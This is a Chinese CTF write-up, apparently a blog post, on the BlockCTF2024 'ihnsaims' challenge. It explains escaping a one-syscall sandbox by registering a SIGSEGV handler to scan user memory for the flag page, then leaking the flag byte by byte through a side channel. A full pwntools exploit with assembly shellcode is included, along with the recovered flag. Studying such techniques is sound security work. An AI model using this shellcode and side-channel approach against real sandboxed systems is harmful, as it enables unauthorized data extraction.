从 BlockCTF2024 题目 ihnsaims 来看 User Address Scanning

有人拜托来看看题,那就来看看解最少的 I Have No Syscalls And I Must Scream
(题目名字挺长)

题目逻辑

题目逻辑很简单

flag通过argv被传入程序中,并且strcpy到了一块随机地址的mmap区域上,拷贝成功后清理所有的痕迹

然后就是一个sandbox下的shellcode执行

注意这里唯一的白名单syscall调用号我们是可以自己选的

这里的唯一的一个syscall自然是重中之重,也就是说我们尽量不使用syscall来达成我们找到flag并读取的目的。而显然,输出flag这件事情其实并不一定需要write,通过shellcode实现的侧信道盲注的方法也可以代替SYSCALL_write。

那么也就是说,syscall要被用在找到flag所在的页面上。

User Address Scanning 用户态页面扫描

用户态不像内核态,可以查页表看哪些页面被分配了

但是注意到,signal函数可以捕获SegmentFault段错误,并且注册我们自己的处理函数

那么思路就很简单了,通过sys_rt_sigaction调用注册一个段错误处理函数,不断的递归访问页面,直到找到第一个不会发生段错误的页面,即flag的所在页面

特别要注意,SegmentFault触发时需要保存现场,大量的寄存器和其他数据会被压到栈上。在正常的处理函数流程中,会通过sys_rt_sigreturn(就是srop使用的syscall)来恢复现场。而在本题中我们无法调用sys_rt_sigreturn,因此需要手动恢复一下rsp

(有一说一,该方法作用不大,有点像是为了出题而产生的利用方法)

EXP

from pwn import*
context.log_level='info'

shellcode_raw="""
		_start:
			mov	rdx, 0x690000
			mov	qword ptr [rdx + 0x800], 0x4200000
			
		register_signal:
			mov	rdx, 0x690000
			mov	qword ptr [rdx + 0x400], 0x690051
			mov	qword ptr [rdx + 0x408], 0x44000004
			mov	edi, 11
			lea	rsi, [rdx + 0x400]
			xor	rdx, rdx
			mov	r10d, 0x8
			mov	eax, 13
			syscall
			xor	rax, rax
			mov	rax, qword ptr [rax]
			
		handler:
			mov	rsp, qword ptr [rsp + 0xa8]
			mov	rdx, 0x690000
			add	qword ptr [rdx + 0x800], 0x1000
			mov	rax, qword ptr [rdx + 0x800]
			mov	rax, qword ptr [rax]
			jmp	success
			
		success:
				mov	rdi, qword ptr [rdx + 0x800]
				call	search_no_zero
				
				xor	rbx, rbx
				xor	rdx, rdx
				add	rax, {}
				
				mov	bl, byte ptr [rax]
				mov	dl, {}
			
				cmp	bl, dl
				jne	exit
				
				je	success.unfin_loop
			
			success.unfin_loop:
				jmp	success.unfin_loop
		
		search_no_zero:
			search_no_zero.loop:
				xor	rax, rax
				mov	al, byte ptr [rdi]
				
				test	al, al
				je	search_no_zero.loop_add
				jne	search_no_zero.loop_end
				
			search_no_zero.loop_add:
				add	rdi, 0x1
				jmp	search_no_zero.loop
			
			search_no_zero.loop_end:
				mov	rax, rdi
				ret
		
		exit:
			mov	eax, 231
			xor	rdi, rdi
			syscall
		
	"""

visible_chars = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_"

#flag{the_moral_of_the_story_is_dont_be_mean_to_chatgpt}

flag=""
offset = 0
while True:
	for i in range(len(visible_chars)):
		success("Trying offset " + str(offset) + " with "+ visible_chars[i])
		#r=process(["./ihnsaims","flag{abcasad}"])
		r=remote("54.85.45.101",8002)
		r.recvuntil("!\n")
		r.sendline("13")

		shellcode=shellcode_raw.format(offset, ord(visible_chars[i]))
		
		r.recvuntil("!\n")
		if (visible_chars[i]=="\x00"):
			gdb.attach(r,"""
				b *$rebase(0x15fa)
				c
				b *0x690070
				handle SIGSEGV nostop noprint pass
			""")
		#pause()
		r.send(asm(shellcode,arch="amd64"))
		r.recvline()
		
		try:
			r.recvline(timeout=5)
		except EOFError:
			r.close()
			continue
		
		flag+=visible_chars[i]
		success(flag)
		break
		
	offset=offset+1
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇